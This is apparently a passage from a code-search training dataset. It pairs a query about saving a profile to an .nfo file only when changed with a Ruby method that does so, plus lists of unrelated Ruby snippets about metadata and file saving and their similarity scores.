clean_string(general_metadata_sheet[*WBF[:meta_published_pos]])\r\n metadata[:spatialextent] = clean_string(general_metadata_sheet[*WBF[:meta_spatial_extent_pos]])\r\n metadata[:temporalextent] = clean_string(general_metadata_sheet[*WBF[:meta_temporalextent_pos]])\r\n metadata[:taxonomicextent] = clean_string(general_metadata_sheet[*WBF[:meta_taxonomicextent_pos]])\r\n metadata[:design] = clean_string(general_metadata_sheet[*WBF[:meta_design_pos]])\r\n metadata[:dataanalysis] = clean_string(general_metadata_sheet[*WBF[:meta_dataanalysis_pos]])\r\n metadata[:circumstances] = clean_string(general_metadata_sheet[*WBF[:meta_circumstances_pos]])\r\n return metadata\r\n end", "def metadata\n\t\tif @meta.nil?\n\t\t\t@meta = @store.metadata @metric_id\n\t\t\t@meta = @source.metaadd @meta\n\t\tend\n\t\treturn @meta\n\tend", "def to_h\n @to_h ||= ordered_values.map { |v|\n v = v.dup\n media_type = v.delete(:media_type)\n [media_type, v]\n }.to_h\n end", "def metadata\n stream.metadata\n end", "def metadata\n stream.metadata\n end", "def metadata\n @metadata ||= {}\n end", "def audio_info(source)\n # based on how harvester gets file hash.\n generated_file_hash = \"SHA256::#{generate_hash(source).hexdigest}\"\n\n # integrity\n integrity_check = @audio.integrity_check(source)\n\n # get file info using ffmpeg\n info = @audio.info(source)\n\n {\n file: source,\n extension: File.extname(source).delete('.'),\n errors: integrity_check[:errors],\n file_hash: generated_file_hash,\n media_type: info[:media_type],\n sample_rate_hertz: info[:sample_rate].to_i,\n duration_seconds: info[:duration_seconds].to_f.round(3),\n bit_rate_bps: info[:bit_rate_bps],\n data_length_bytes: info[:data_length_bytes],\n channels: info[:channels]\n }\n end", "def extract_metadata_for_video url\n mfile = metadata_file_for(url)\n unless File.file? mfile\n\n # self << url\n # self << %w[ skip-download write-info-json ignore-errors ]\n # self << { output: mfile.gsub(/\\.info\\.json$/, '') }\n # self.run\n\n # Run directly:\n command = \"#{url} --skip-download --write-info-json --ignore-errors\"\n command += \" -o '#{mfile.gsub(/\\.info\\.json$/, '')}'\"\n delegator.run command\n end\n JSON.parse File.read(mfile) rescue nil\n end", "def metadata\n @metadata ||= {}\n end", "def metadata(filepath)\n metadata = {}\n metadata.merge!(author(filepath))\n metadata.merge!(title(filepath))\n metadata.merge!(serie(filepath))\n metadata\n end", "def og_media(key)\n {\n url: og(\"#{key}:secure_url\") || og(\"#{key}:url\") || og(key),\n width: og(\"#{key}:width\"),\n height: og(\"#{key}:height\"),\n type: og(\"#{key}:type\")\n }.compact\n end", "def to_h\n hash = metadata.merge(:CreationDate => Time.now)\n hash[:Title] = title if title\n hash[:Author] = authors.join(\", \") unless authors.empty?\n hash[:Subject] = subject if subject\n hash[:Keywords] = keywords if keywords\n hash[:Creator] = creator if creator\n if producer\n hash[:Producer] = producer\n hash[\"Producer\"] = producer\n end\n {:info => hash}\n end", "def metadata\n return unless self[:metadata]\n\n self[:metadata].deep_symbolize_keys\n end", "def metadata\n return @metadata if defined? @metadata\n\n @metadata = Henkei.read :metadata, data\n end", "def metadata\n return @metadata if defined? @metadata\n\n @metadata = Henkei.read :metadata, data\n end", "def meta\n json_body.fetch('meta', {})\n end", "def metadata\n @data[:metadata]\n end", "def attributes\n Hash[attribute_pairs].\n merge(media_attributes)\n end", "def movie\n @movie ||= parse_json\n end", "def get_meta_data\r\n MetaData.new(:':curr-id' => Node.current_id,\r\n :':curr-quest-flag' => QuestMaker.current_quest_flag)\r\n end", "def genres_hash\n search_by_itemprop_hash 'genre'\n end", "def game_meta_data\n @game_meta_data\n end", "def extract_metadata; end", "def meta_data\n @meta_data ||= params['metaData']\n end", "def to_exif_hash\n return {} if @output.empty?\n meta = @output.scan(/exif:([^=]+)=([^\\n]+)/)\n Hash[meta]\n end", "def getMp4Info(file)\n def get_val(string)\n string.split(\":\")[1]\n end\n\n ret = {}\n tagstrings = `AtomicParsley #{file} -t | grep -Pi '(art|alb|nam)'`.split(\"\\n\")\n ret[:artist] = get_val(tagstrings.grep(/ART\" contains/i)[0])\n ret[:title] = get_val(tagstrings.grep(/nam\" contains/i)[0])\n\n tmp = tagstrings.grep(/alb\" contains/i)[0]\n ret[:album] = (tmp.nil?) ? $default_album : tmp.split(\":\")[1]\n if ret[:artist].nil? || ret[:album].nil? || ret[:title].nil?\n raise \"Error parsing m4a tags - is it possible that AtomicParsley output format has changed?\"\n end\n ret\nend", "def find_media(term)\n results = {}\n results[:books] = Book.search(term)\n results[:movies] = Movie.search(term)\n results[:tv_series] = Tv.search(term)\n results\n end", "def metadata\n value_of(:metadata, JSON.method(:pretty_generate), '{}')\n end", "def get_video_size(filepath)\n video_properties = %x(ffprobe -v quiet -print_format json -show_format -show_streams \"#{filepath}\")\n video_properties_hash = Hashie.symbolize_keys(JSON.parse(video_properties))\n # video_properties_hash = Hashie::Mash.new JSON.parse(video_properties)\n # puts \"#{video_properties}\"\n # puts \"#{video_properties_hash.inspect}\"\n\n # puts \"#{video_properties_hash[:streams][0].inspect}\"\n # puts \"#{video_properties_hash[:streams].select { |s| s[:codec_type] == \"video\" && s[:codec_name] == \"h264\" }.inspect}\"\n\n h = video_properties_hash[:streams]\n .select { |s| s[:codec_type] == \"video\" }\n .map { |s| {:codec_type => s[:codec_type], :codec_name => s[:codec_name], :codec_long_name => s[:codec_long_name], :height => s[:height], :coded_height => s[:coded_height]}}\n puts \"#{filepath} => #{JSON.pretty_generate(h)}\"\nend", "def rdf_metadata\n @rdf_metadata ||= Valkyrie::Persistence::Shared::JSONValueMapper.new(object[:metadata]).result\n end", "def metadata\n msg['metadata']||{}\n end", "def attribute_hash\n video.attribute_hash.merge({'key' => key})\n end", "def klass_attribute_to_metadata_attribute_map\n {\n :avalon_uploader => :creator,\n :avalon_publisher => :publisher,\n :title => :main_title,\n :alternative_title => :alternative_title,\n :translated_title => :translated_title,\n :uniform_title => :uniform_title,\n :statement_of_responsibility => :statement_of_responsibility,\n :creator => :creator,\n :date_created => :date_created,\n :date_issued => :date_issued,\n :copyright_date => :copyright_date,\n :abstract => :abstract,\n :note => :note,\n :format => :media_type,\n :contributor => :contributor,\n :publisher => :publisher,\n :genre => :genre,\n :subject => :topical_subject,\n :related_item => :related_item_id,\n :collection => :collection,\n :geographic_subject => :geographic_subject,\n :temporal_subject => :temporal_subject,\n :topical_subject => :topical_subject,\n :collection => :collection\n }\n end", "def metadata\n @metadata.tap do |h|\n # This represents the minimal set of attribute methods that should be available in every subclass.\n h[:mime_type] = mime_type if mime_type\n h[:filename] = filename if filename\n h[:digest] = digest if digest\n h[:size] = size if size\n h[:last_modified] = last_modified if last_modified\n end\n end", "def video_parts_attributes\n video_parts.map{|video_part| video_part.serializable_hash(only: [:source_url, :number, :duration]) }\n end", "def movie\n @movie\n end", "def aws_get_metadata\n murl = 'http://169.254.169.254/latest/meta-data/'\n result = self.aws_get_url(murl)\n metadata = Hash.new()\n\n # TODO this isn't entirely right.. if the element ends in '/', it's actually another level of hash..\n result.split(\"\\n\").each do |element|\n metadata[element] = self.aws_get_url(sprintf('%s%s', murl, element))\n end\n\n metadata\n end", "def metadata\n {\n Title: 'Maestrano Monthly Invoice',\n Author: 'Maestrano',\n Subject: 'Maestrano Monthly Invoice',\n Producer: 'Maestrano',\n CreationDate: Time.now\n }\n end", "def meta_data\n return nil unless success?\n\n @meta_data\n end", "def meta\n @meta ||= begin\n arr = @header_str.split(/\\r?\\n/)\n arr.shift\n arr.inject({}) do |hash, hdr|\n key, val = hdr.split(/:\\s+/, 2)\n hash[key.downcase] = val\n hash\n end\n end\n end", "def extract_audio_details\n path = audio.queued_for_write[:original].path\n open_opts = { :encoding => 'utf-8' }\n Mp3Info.open(path, open_opts) do |mp3|\n\t self.title = mp3.tag.title \n\t self.album = mp3.tag.album\n\t self.artist = mp3.tag.artist\n\t self.track = mp3.tag.tracknum\n end\nend", "def extractMetadata()\n Logging.LogScriptInfo \"Extract metadata from #{@logFile}...\"\n\n # Get the meta datas from the json report\n metas = { }\n metas['build_date'] = @jsonData['build_date']\n metas['build_time'] = @jsonData['build_time']\n metas['git_revision'] = @jsonData['git_revision']\n metas['options'] = @jsonData['sim']['options']\n metas['overrides'] = @jsonData['sim']['overrides']\n metas['statistics'] = @jsonData['sim']['statistics']\n @jsonData['sim']['players'].each do |player|\n if player['name'] == 'Template'\n metas['player'] = player\n end\n end\n metas['profilesets_overrides'] = { }\n @jsonData['sim']['profilesets']['results'].each do |player|\n next unless player['overrides']\n metas['profilesets_overrides'][player['name']] = player['overrides']\n end\n\n # Timestamps\n metas['build_timestamp'] = DateTime.parse(@jsonData['build_date'] + ' ' + @jsonData['build_time'] + ' ' + Time.now.strftime('%:z')).to_time.to_i\n metas['result_timestamp'] = Time.now.to_i\n\n # Add additional data\n metas.merge!(@additionalMetadata)\n\n return metas\n end", "def to_hash\n h = self.Header.to_hash\n h.merge! self.Metadata.to_hash\n h.merge! self.NewsContent.to_hash\n h\n end", "def movies\n @movies ||= parse_movie_infos\n end", "def hash\n title.hash\n end", "def media\n return @media\n end", "def media_object_fields\n fields.select { |field| media_object_header?(field.header) }\n end", "def composers_hash\n search_by_itemprop_hash 'musicBy'\n end", "def value\n if meta_key.is_dynamic?\n case meta_key.label\n when \"uploaded by\"\n return media_resource.user\n when \"uploaded at\"\n return media_resource.created_at #old# .to_formatted_s(:date_time) # TODO media_resource.upload_session.created_at ??\n when \"copyright usage\"\n copyright = media_resource.meta_data.get(\"copyright status\").value.first || Meta::Copyright.default # OPTIMIZE array or single element\n return copyright.usage(read_attribute(:value))\n when \"copyright url\"\n copyright = media_resource.meta_data.get(\"copyright status\").value.first || Meta::Copyright.default # OPTIMIZE array or single element\n return copyright.url(read_attribute(:value))\n #when \"public access\"\n # return media_resource.acl?(:view, :all)\n #when \"media type\"\n # return media_resource.media_type\n #when \"gps\"\n # return media_resource.media_file.meta_data[\"GPS\"]\n end\n else\n case meta_key.object_type\n when \"Meta::Copyright\", \"Meta::Department\", \"Person\"\n meta_references.map(&:reference) #.map(&:to_s)\n when \"Meta::Term\", \"Meta::Keyword\"\n meta_keywords.map(&:meta_term) #.map(&:to_s)\n when \"Meta::Date\"\n meta_dates.map(&:to_s).join(' - ')\n when \"Meta::Country\"\n text\n else\n text\n end\n end\n end", "def movie_array(character)\n films_array = get_char_hash(character)[\"films\"]\n films_array.map do |movie_url|\n movie_info(movie_url)[\"title\"]\n end\nend", "def parse_character_movies(films_hash)\n films_hash.collect do |movie|\n movie[\"title\"]\n end\nend", "def metadata\n Hash.from_xml(self[:metadata])['hash']\n end", "def to_h\n {\n :name => @name,\n :type => @type,\n :metaData => @meta_data,\n :timestamp => @timestamp.iso8601(3)\n }\n end", "def get_media_content\n begin\n video_sql = \"SELECT * FROM mediacontent\";\n video_sql += \" WHERE ContentTypeID = 1\";\n video_sql += \" AND ( iPodVideo IS NOT NULL AND iPodVideo != '') AND (iPodVideo LIKE '%mp4') ORDER BY RecordDate ASC\";\n message_video_content_data = Immutable.dbh.execute(video_sql);\n\n return message_video_content_data;\n rescue DBI::DatabaseError => e\n Immutable.log.error \"Error code: #{e.err}\"\n Immutable.log.error \"Error message: #{e.errstr}\"\n Immutable.log.error \"Error SQLSTATE: #{e.state}\"\n abort('An error occurred while getting message video content data from DB, Check migration log for more details');\n end\n end" ]
[ "0.7199356", "0.61213", "0.6108689", "0.60981435", "0.60672426", "0.60482126", "0.604273", "0.604273", "0.6029909", "0.6028467", "0.6010052", "0.5999915", "0.5906388", "0.5886376", "0.588072", "0.5871426", "0.58498555", "0.58486205", "0.58436793", "0.5842751", "0.5842191", "0.5831658", "0.5822712", "0.58169717", "0.5812653", "0.58009064", "0.57881707", "0.5784882", "0.5783595", "0.57729924", "0.5768286", "0.5759504", "0.5758037", "0.5756216", "0.5756216", "0.5744775", "0.57265186", "0.5715593", "0.5714441", "0.57121414", "0.5710744", "0.57090294", "0.57084394", "0.57037526", "0.57013834", "0.56752133", "0.5674863", "0.56706303", "0.5656788", "0.5655759", "0.5655759", "0.56329346", "0.5627697", "0.5624567", "0.5619613", "0.5615898", "0.5603914", "0.55969703", "0.5595193", "0.5578453", "0.5578453", "0.55782944", "0.5569996", "0.55699", "0.5565771", "0.5565232", "0.55597746", "0.5559385", "0.5558903", "0.55526894", "0.55500275", "0.55498314", "0.5541034", "0.5539754", "0.5536281", "0.5535269", "0.5533483", "0.5521227", "0.54795915", "0.54756165", "0.5467945", "0.5467664", "0.5466752", "0.5466152", "0.5459725", "0.5455271", "0.5427132", "0.54226637", "0.5418987", "0.5415578", "0.5409246", "0.54088855", "0.53861105", "0.5382465", "0.5377899", "0.53703415", "0.5367377", "0.53665036", "0.536537", "0.53585273" ]
0.6220265
1
== Synopsis set the movie hash
def movie=(other) @movie = other end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hash_start(_key)\n @current_movie = {\n title: nil,\n year: nil,\n image: nil,\n color: nil,\n score: nil,\n rating: nil,\n alternative_titles: [],\n genres: [],\n }\n @array_name = nil\n end", "def movie\n @movie ||= Hash.new\n @movie\n end", "def params=(hash); end", "def params=(hash); end", "def set hash\n hash.each_pair do |k,v|\n self.send(:\"#{k}=\", v)\n end\n \n self\n end", "def set_hash(hash, hash_type = 'SHA256')\n @hash = hash\n @hash_type = hash_type\n end", "def hashes=(value)\n @hashes = value\n end", "def set_movie\n @movie = Movie.find(params[:id])\n # @movie=Tmdb::Movie.detail(:id)\n end", "def set_movie\n movie_id = params[:id] || params[:movie_id]\n\n @movie = Movie.find(movie_id)\n end", "def set_hash_tag\n @hash_tag = HashTag.find(params[:id])\n end", "def set_movie\n @movie = Movie.where(hbo_id: params[:hbo_id]).first\n end", "def initialize(brewery_hash)\n brewery_hash.each do |k, v|\n self.send(\"#{k}=\", v) if self.respond_to?(\"#{k}=\")\n \n end\n save\n end", "def attribute_hash\n video.attribute_hash.merge({'key' => key})\n end", "def set(hash, &block)\n @compiler.set(hash, &block)\n end", "def _hash=(_hash)\n if !_hash.nil? && _hash.to_s.length > 40\n fail ArgumentError, 'invalid value for \"_hash\", the character length must be smaller than or equal to 40.'\n end\n if !_hash.nil? && _hash.to_s.length < 40\n fail ArgumentError, 'invalid value for \"_hash\", the character length must be great than or equal to 40.'\n end\n @_hash = _hash\n end", "def hash= hash\n `window.location.hash = hash`\n end", "def initialize(imdb_hash)\n @imdb_id = imdb_hash['tconst']\n @title = imdb_hash['title']\n @tagline = imdb_hash['tagline'] if imdb_hash['tagline']\n @plot = imdb_hash['plot']['outline'] if imdb_hash['plot']\n @runtime = imdb_hash['runtime']['time'] if imdb_hash['runtime']\n @rating = imdb_hash['rating']\n @votes = imdb_hash['num_votes']\n @poster_url = imdb_hash['image']['url'] if imdb_hash['image']\n @genres = imdb_hash['genres'] || []\n\n if imdb_hash['release_date']\n begin\n @release_date = Date.strptime(imdb_hash['release_date']['normal'],\n '%Y-%m-%d')\n rescue\n @release_date = imdb_hash['release_date']['normal']\n end\n end\n end", "def file_hash=(value)\n @file_hash = value\n end", "def hash=(_arg0); end", "def set_male_shot_put_head\n @male_shot_put_head = MaleShotPutHead.find(params[:id])\n end", "def add_movie_attributes(attributes_hash)\n attributes_hash.each{|attribute, value| self.send(\"#{attribute}=\", value)}\n self\n end", "def update(hash); end", "def initialize( hash )\n\t\t\t@hash = hash.dup\n\t\t\t@dirty = false\n\t\tend", "def set_movie\n if params[:imdb_code].nil?\n @movie = Movie.find(params[:id])\n else\n @movie = Movie.find_by_imdb_code(params[:imdb_code])\n end\n end", "def set_hmac\n @hmac = Hmac.find(params[:id])\n end", "def hash\n title.hash\n end", "def rehash() end", "def set_movie\n #@movie = Movie.find(params[:id])\n end", "def set_hash_id_instance(salt)\n @hid = Hashids.new(salt, 12)\n end", "def set(thing)\n @cache[section(thing)][key(thing)] = digest(thing)\n end", "def set_movie\n @movie = Movie.friendly.find(params[:id])\n end", "def set (hash)\n @data.merge! hash\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set(hash)\n hash.each_pair do |key, value|\n _data[key] = value\n end\n _save\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def set_movie\n @movie = Movie.find(params[:id])\n end", "def populate_hash\n self.orig_image_url_hash = Digest::SHA1.hexdigest orig_image_url\n end", "def change(hash); end", "def set_movie\n @movie = Movie.find_by_id(params[:id])\n end", "def oscars_hash\n # your code here\n hash = {\n :actor => \"Leonardo DiCaprio\",\n :picture => \"Spotlight\",\n :effects => \"Ex Machina\"\n}\nend", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def set(hash)\n set_restricted(hash, nil, nil)\n end", "def set_musictrack\n @musictrack = Musictrack.find_by_title_slug(params[:titleSlug])\n end", "def hmset(hash, *field_value)\n redis_token.hmset(hash, *field_value)\n end", "def initialize hash\n @hash = hash\n end", "def set_movie_record\n @movie_record = MovieRecord.find(params[:id])\n end", "def add_movie_to_database(hash)\n movie_object = Movie.find_or_create_by(title: hash[\"Title\"], #check for a movie given the extracted details, create if not found\n release_year: hash[\"Released\"],\n genre: hash[\"Genre\"],\n director: hash[\"Director\"])\n add_movie_to_mylist(movie_object) #Allow the user to add the movie object to (through) their list\n end", "def set(data)\n data = data.to_json\n cache_key = Digest::SHA1.hexdigest(data)\n\n log(\"insert :Cache, #{cache_key} -> {'blob' => #{data.inspect}}\")\n connection.insert(:Cache, cache_key, { \"blob\" => data })\n cache_key\n end", "def set_movie\n # create an instance variable that can be accessed in\n # every action.\n @movie = Movie.find(params[:movie_id])\n end", "def set_shmcook\n @shmcook = Shmcook.find(params[:id])\n end", "def initialize()\n\t\t\t#set key by hash unique value\n\t\t\t@key = Digest::SHA1.hexdigest(Time.now.to_s)\n\t\tend", "def set_film\n @film = Film.find(params[:id])\n end", "def set_film\n @film = Film.find(params[:id])\n end", "def set_film\n @film = Film.find(params[:id])\n end", "def set_film\n @film = Film.find(params[:id])\n end", "def set_film\n @film = Film.find(params[:id])\n end", "def set_tmdbmovie\n @tmdbmovie = Tmdbmovie.find(params[:id])\n end", "def hset( hex )\n @hexes[ [ hex.q, hex.r ] ] = hex\n end", "def set_movie \n @movie = Movie.find(params[:id])\n end", "def set_hashtag\n @hashtag = Hashtag.find(params[:id])\n end", "def []=(sha, attrs)\n cache[sha] = attrs\n end", "def sha1=(_); end", "def []=(node, value)\n return @hash[node.sha1] = value\n end" ]
[ "0.6109685", "0.6015151", "0.58779824", "0.58779824", "0.57439166", "0.56133276", "0.5597392", "0.5577479", "0.5563413", "0.5544406", "0.554157", "0.5529768", "0.5523362", "0.5515457", "0.5493141", "0.54869795", "0.54775244", "0.5457052", "0.54475915", "0.54405916", "0.54386914", "0.54180104", "0.5401603", "0.5401373", "0.5366594", "0.5365575", "0.5365348", "0.5359345", "0.5354027", "0.5349866", "0.53486764", "0.5320695", "0.531512", "0.53016895", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52972615", "0.52692926", "0.5268484", "0.5245911", "0.5228496", "0.52203226", "0.52203226", "0.52203226", "0.52203226", "0.52203226", "0.52203226", "0.52203226", "0.5218729", "0.5205033", "0.5198361", "0.519794", "0.51927555", "0.5167116", "0.5166386", "0.5162653", "0.5161003", "0.51589674", "0.5153914", "0.5153914", "0.5153914", "0.5153914", "0.5153914", "0.51517874", "0.51489466", "0.512688", "0.5117106", "0.51068693", "0.51055485", "0.5104339" ]
0.5142915
95
== Synopsis save the profile to the .nfo file, but only if it has changed
def save begin if dirty? xml = self.to_xml unless xml.blank? AppConfig[:logger].info { "updated #{@nfo_filespec}"} DvdProfiler2Xbmc.save_to_file(@nfo_filespec, xml) end end rescue Exception => e AppConfig[:logger].error "Unable to save xbmc info to #{@nfo_filespec} - #{e.to_s}" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def save_profile( filename )\n if filename = @opts.save( filename )\n print_status \"Saved profile in '#{filename}'.\"\n print_line\n else\n banner\n print_error 'Could not save profile.'\n exit 0\n end\n end", "def Write(outputFile)\n Process()\n ret = Profile.Save(outputFile)\n ret\n end", "def save\n return if !self.valid?\n\n File.open(@file, \"w\") do |f|\n NWN::Gff.write(f, :gff, @obj)\n end\n end", "def save\n file = File.new(@file, 'w+')\n @properties.each { |key, value| file.puts \"#{key}=#{value}\\n\" }\n end", "def save\n file = File.new(@file,\"w+\")\n @properties.each {|key,value| file.puts \"#{key}=#{value}\\n\" }\n file.close\n end", "def save_old_profile\n @_old_profile_id = profile_id_change ? profile_id_change.first : false\n true\n end", "def save\n file = File.new(@file,\"w+\")\n @properties.each {|key,value| file.puts \"#{key}=#{value}\\n\" }\nend", "def save(overwrite=true)\n write_file(overwrite, @filename)\n end", "def save_to_file\n File.open(\"#{@username.username}\", \"w\") { |file|\n file.write Oj::dump username\n }\n end", "def save_to_file\n File.open(\"#{@username.username}\", \"w\") { |file|\n file.write Oj::dump username\n }\n end", "def save # :nodoc:\n if @file\n File.open(SAVE_FILE, 'w') do |f|\n Marshal.dump(file, f)\n end\n else\n forget\n end\n end", "def save # :nodoc:\n if @file\n File.open(SAVE_FILE, 'w') do |f|\n Marshal.dump(file, f)\n end\n else\n forget\n end\n end", "def save_file\r\n @saved = true\r\n saving\r\n Dir.mkdir(\"saves\") unless Dir.exists? \"saves\"\r\n File.open(\"my_save.yaml\", \"w\") {|f| f.puts YAML::dump(self) }\r\n end", "def save_profile_chat\n filename = \"profiles/#{@message.chat.id}.json\"\n data = {'semester_dates' => @semester_dates, 'subjects' => @subjects}\n profile = JSON.generate(data)\n file = File.open(filename, 'w')\n file.write(profile)\n file.close\n end", "def nmap_save()\n print_status \"Nmap: saving nmap log file\"\n fh = self.nmap_log[0]\n nmap_data = fh.read(fh.stat.size)\n saved_path = store_local(\"nmap.scan.xml\", \"text/xml\", nmap_data, \"nmap_#{Time.now.utc.to_i}.xml\")\n print_status \"Saved NMAP XML results to #{saved_path}\"\nend", "def save filename\n File.open(filename, 'w') { |file| @properties.each {|key,value| file.write(\"#{key}:#{value},\\n\") } } \n end", "def autosave; end", "def dump_profile(_profile); end", "def save_curr_game(fname)\n @log.debug \"Don't save the network game\"\n end", "def saveFile(saveTag)\n aFile = File.new(\"config.version\", \"w+\")\n if aFile\n aFile.syswrite(\"version=#{saveTag}\")\n aFile.close\n else\n puts \"Unable to write a config.version file!\"\n end\n end", "def save_game\n\t\tputs \"Type a name for your saved game\"\n\t\tgame_name = gets.chomp\n\t\tfilename = \"#{game_name}.txt\"\n\n\t\t ex_file = File.expand_path(\"./saved_games/#{filename}\")\n\t\t \n\t\tif File.exists?(ex_file)\n\t puts \"#{filename} exists\" #overwrite method?\n\t \n\t self.save_game\n\t else\n\t\t\tFile.open(ex_file, \"w\") do |f|\n\n\t\t\t\tf.puts YAML::dump(game_state)\n\n\t\t\t\tputs \"Your game was saved as #{filename}\" \n\t\t\tend\n\t\tend\n\tend", "def save(file = nil)\n @file = file if file\n raise Error.new(Error::FileError) unless @file\n File.open(@file, 'w') do |f|\n f.puts(@prefix) if @prefix\n YAML.dump(@cfg, f)\n f.puts ''\n f.puts(@suffix) if @suffix\n end\n end", "def save\n File.open(SaveLocation, 'w') do |file|\n file.puts @value.join(\"\")\n file.puts @progress.join(\"\")\n file.puts @bad_guesses.join(\"\")\n end\n end", "def update_profile(options = {}) \n # query profile info\n response = HTTP.auth('Bearer ' + Asca::Tools::Token.new_token).get(URI_PROFILES, :params => { 'filter[name]' => options[:name] })\n if response.status.success?\n responseObj = JSON.parse(response.body)\n queried_profile_list = responseObj[\"data\"]\n if queried_profile_list.length() > 0\n profile = queried_profile_list[0]\n end\n else\n Asca::Tools::Log.error(response.body)\n return\n end\n \n if !profile\n Asca::Tools::Log.error(\"No profile named #{options[:name]} found\")\n return\n end\n # create new profile\n profile_type = profile[\"attributes\"][\"profileType\"]\n \n # get bundle id\n response = HTTP.auth('Bearer ' + Asca::Tools::Token.new_token).get(profile[\"relationships\"][\"bundleId\"][\"links\"][\"self\"])\n bundle_id = JSON.parse(response.body)[\"data\"][\"id\"]\n response = HTTP.auth('Bearer ' + Asca::Tools::Token.new_token).get(profile[\"relationships\"][\"certificates\"][\"links\"][\"self\"])\n certificate_ids = JSON.parse(response.body)[\"data\"].map { |cer| cer[\"id\"] }\n \n # get all device ids\n device_ids = Asca::REST::Provisioning::Devices.list_devices.map { |device|\n device[\"id\"]\n }\n \n # delete old prifile\n delete_profile :name => options[:name]\n \n if profile_type.include? 'APP_STORE'\n create_new_profile :name => options[:name], :type => profile_type, :bundle_id => bundle_id, :certificate_ids => certificate_ids\n else\n create_new_profile :name => options[:name], :type => profile_type, :bundle_id => bundle_id, :device_ids => device_ids, :certificate_ids => certificate_ids\n end\n \n return true\n end", "def SaveClicked\n nr = @edit_data[nr]\n title = @gui[:texTitle].get_text\n type = @types_nr[glade.get_widget(\"cmbType\").get_active]\n port = @gui[:texPort].get_text\n location = @gui[:fcbLocation].get_filename\n ip = @gui[:texIP].get_text\n username = @gui[:texUsername].get_text\n password = @gui[:texPassword].get_text\n db = @gui[:texDatabase].get_text\n\n if type == \"mysql\" || type == \"mysqli\" || type == \"postgresql\" || type == \"mssql\"\n location = ip\n end\n\n if @mode == \"edit\"\n get_myDB.update(\"profiles\", {\n \"title\" => title,\n \"type\" => type,\n \"port\" => port,\n \"location\" => location,\n \"username\" => username,\n \"password\" => password,\n \"database\" => db\n }, {\"nr\" => nr})\n elsif @mode == \"add\"\n get_MyDB.insert(\"profiles\", {\n \"title\" => title,\n \"type\" => type,\n \"port\" => port,\n \"location\" => location,\n \"username\" => username,\n \"password\" => password,\n \"database\" => db\n }\n )\n end\n\n @win_dbprofile.UpdateCList()\n closeWindow\n end", "def save file='GOL.sav'\n File.open(file,'w') do |f|\n Marshal.dump(state,f)\n end\n end", "def save!\n begin\n case filename\n when STDOUT_FLAG\n $stdout.write(contents)\n else\n ::File.open(@filename,\"w\") do |f|\n f.write(contents)\n end\n end\n @dirty = false\n rescue => e\n raise FileAccessError, \"Error saving file #{@filename} : #{e.message}\"\n end\n end", "def save\n create_file\n true\n end", "def save_personnages\n personnages_file.write(Marshal.dump(personnages))\n update_all_data_in_file\n end", "def save\n file_name = ask_save_file\n save_file = File.open(file_name, 'w')\n save_file.puts(serialize)\n save_file.close\n puts \"Game has been saved to Save File #{file_name[-5]}!\"\n puts \"\\n\\n\"\n end", "def save\n File.open(file, 'w') do |f|\n self.attributes.each {|key, value| f.write \"#{key}: '#{value}'\\n\" }\n end\n end", "def save!\n path = File.join(basedir, computed_filename)\n Rails.logger.info \"Saved GPX file as #{path}\"\n file = File.new(path, 'wb')\n file.write contents\n file.close\n file\n end", "def save_game\n\t\tputs \"Type a name for your saved game\"\n\t\tgame_name = gets.chomp\t\n\t\tfilename = \"#{game_name}.yml\"\n\n\t\t ex_file = File.expand_path(\"./saved_games/#{filename}\")\n\t\t \n\t\tif File.exists?(ex_file)\n\t puts \"#{filename} exists\" #overwrite method?\n\t \n\t self.save_game\n\t else\n\t\t\tFile.open(ex_file, \"w\") do |f|\n\t\t\t\tgame_state = YAML::dump(self)\n\t\t\t\tf.puts game_state\n\t\t\t\tputs \"Your game was saved as #{filename}\" \n\t\t\tend\n\t\tend\n\tend", "def save filename = nil\n filename = find_free_name filename\n save! filename\n end", "def save\n #we create a hash to save the values into:\n new_json = {name: @name, email: @email, permissions: @permissions}.to_json\n #we open a new file and append (a) the new values to it.\n open('users.json', 'a') do |file|\n file.puts new_json\n end\n\n end", "def Export\n Yast.import \"Profile\"\n Profile.Reset\n Process()\n nil\n end", "def save\n File.open(@base_file, \"w\") do |f|\n 